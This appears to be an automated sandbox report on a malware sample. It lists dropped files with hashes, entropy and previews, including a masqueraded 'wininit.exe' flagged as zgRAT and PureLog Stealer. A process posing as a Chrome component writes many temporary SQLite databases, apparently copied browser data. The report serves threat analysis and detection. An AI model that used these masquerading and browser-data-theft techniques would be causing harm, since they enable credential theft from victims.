SSDEEP:	12:L3BESciXWICDja7z/M7+cMNCAh/0UtCxXqb7W3hWb5NU98dYiNiHX:DqScSWT3ay+f4s/Cqb7ehHiI3
MD5:	DF0F2490788F8C76547CF82595F443BA
SHA1:	24A8D44A11EA34BF6B47C9E7B1B409521FFF07FF
SHA-256:	27F28B0AD6B7C173DFD1FA68DD3C7CCE74D0C1E7D3A729FB00C782E01EDF5CD2
SHA-512:	114255A7BD2E0EF95C522518A06F56A0F2B1BA4444F83D495E620EEB4F2AE306DDC0000671861261A8CF7B909A661BF02D7675AF9A7D3D7241D8B2531D220332
Malicious:	false
Preview:	sYthozCM31tKZv3zrjw31STHb3Y9buMQb86LNBp2V9l1hbM3clK98IyaFlGubDvIpcsbyrmp44h1qcjArfg0kMRTJgGl54aROdLEsvEu8fFEk7tnBGD6g5idLYRRlAt9dPnNQfR5aw1EGMtMxdkz1euT4s3TdwI8vGlUTgWgyHfuEeW8pFeIa4I8fUShl8coo2SAlY2RGDAt9APaW5nYR9i17mz9Nz50p0FLLVWRMNCW4Y8eF1KqUDWoUbC8j2DRIJEJ4DOAiWLE7L7ioV4WoOgldb1uTXsTKvOuUzjBnKH71SrIddUO8rn3ncpdLdrKo14M6NOyv3sdHitLtsQzDdVdIVG2KFzJc6TAXeMQPgcE8JvFsdudM1HKgbEkGVnqDjBKPtxOgAjgBQf8jBJrVW6kzId6alK42wBYIlz9pf6MSlJP5FAFM6UrnaVHP0y40pnPPG08LKC0ZtSN9OBVkEs6bUurPstyrBWm74AzOC3B4eR3HHHBzcUv7qx5VJsdbNJXXpQFOLGiLqC6C1kIks8OrlpQGEdFTZkqV3gb0CwoWvjRn02eik2tP5qwAA8JsBOvFWlJUIRh5U25BYmPM8gtg1baNub0En5UhyLROsJZSVx4DuvmXs6teeOO5L5kradSZhYNNVAdzHaLDgWd9zdVqLzCj6WDxir22fffWhY

C:\Recovery\wininit.exe

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2742784
Entropy (8bit):	7.725753306549117
Encrypted:	false
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
MD5:	15536627EF85575E9DFA2F91D54B24DD
SHA1:	2C498FFE7CB1A53CCE6155AC50B19B2A1B437B2D
SHA-256:	7C80AC7694D0009DF4CB82D8FA843910CF07A53D24916DAF5DBB9E09A1512881
SHA-512:	C4F489F26BB2B7517E0A6F12836BA18BEAC2B33E2B7F63903F5A95BA10FEEDF8711CAA68B3E8F5512ED9BB211D8C09CB8F9C4D3C400F64C2DA493C9722AA8B5E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\wininit.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\wininit.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@.................................0.).K......p.................... ...................................................... ............... ..H............text.....).. ....)................. ..`.rsrc...p............).............@....reloc....... .......).............@..B................`.).....H.......\..........p...0...].....)......................................0..........(.... ........8........E....).......\...8...8$...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........!.......J.......8....r...ps....z...... ....8....~....:.... ....~....{....:....& ....8....~....(M... .... .... ....s....~....(Q....... ....~....{....:]...& ....8R.......~....(U...~....(Y... ....?Y... ....~....{....9..

C:\Recovery\wininit.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\DWTukBG9R7.exe.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	5.370675888495854
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHmHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qVGqZ4x
MD5:	61E69F423BF19DBBAA81DED6FA7018BB
SHA1:	AFDA34428E1A7EDDB88DBDE13DD3DF5F9B142ACF
SHA-256:	2AF4D2CFBC37608B0B546465746CB59F8CC04AECD62246BBF4771894A7118340
SHA-512:	2580AE9695D3D637239D50442388F1823BDFD218BD8FE155938EE43DC5EE9999032767AD0F0CF18948891D9CA92E2B6D80401993FFECF235CFFE89E1D7029B08
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Temp\006K0gXWry

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\049m6cs0YO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\04kqBxtbBp

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0NFlzOsjR1

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0Uc4Qltiv1

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0ZiuZvpHA4

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1ULrAujYFE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1WYfwS1Kvd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1l9isteyvs

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1n8SQ2XL2t

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\23mUba6G7F

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2TuuZWcMox

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2XSm9inMhK

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2jg7WK3y9r

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2p3mpopbEh

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2s3yKXQLT0

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2tTO2Yp5yb

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3LUR1jydvD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3Rj4zqJnKh

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3xsNj2e7dV

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
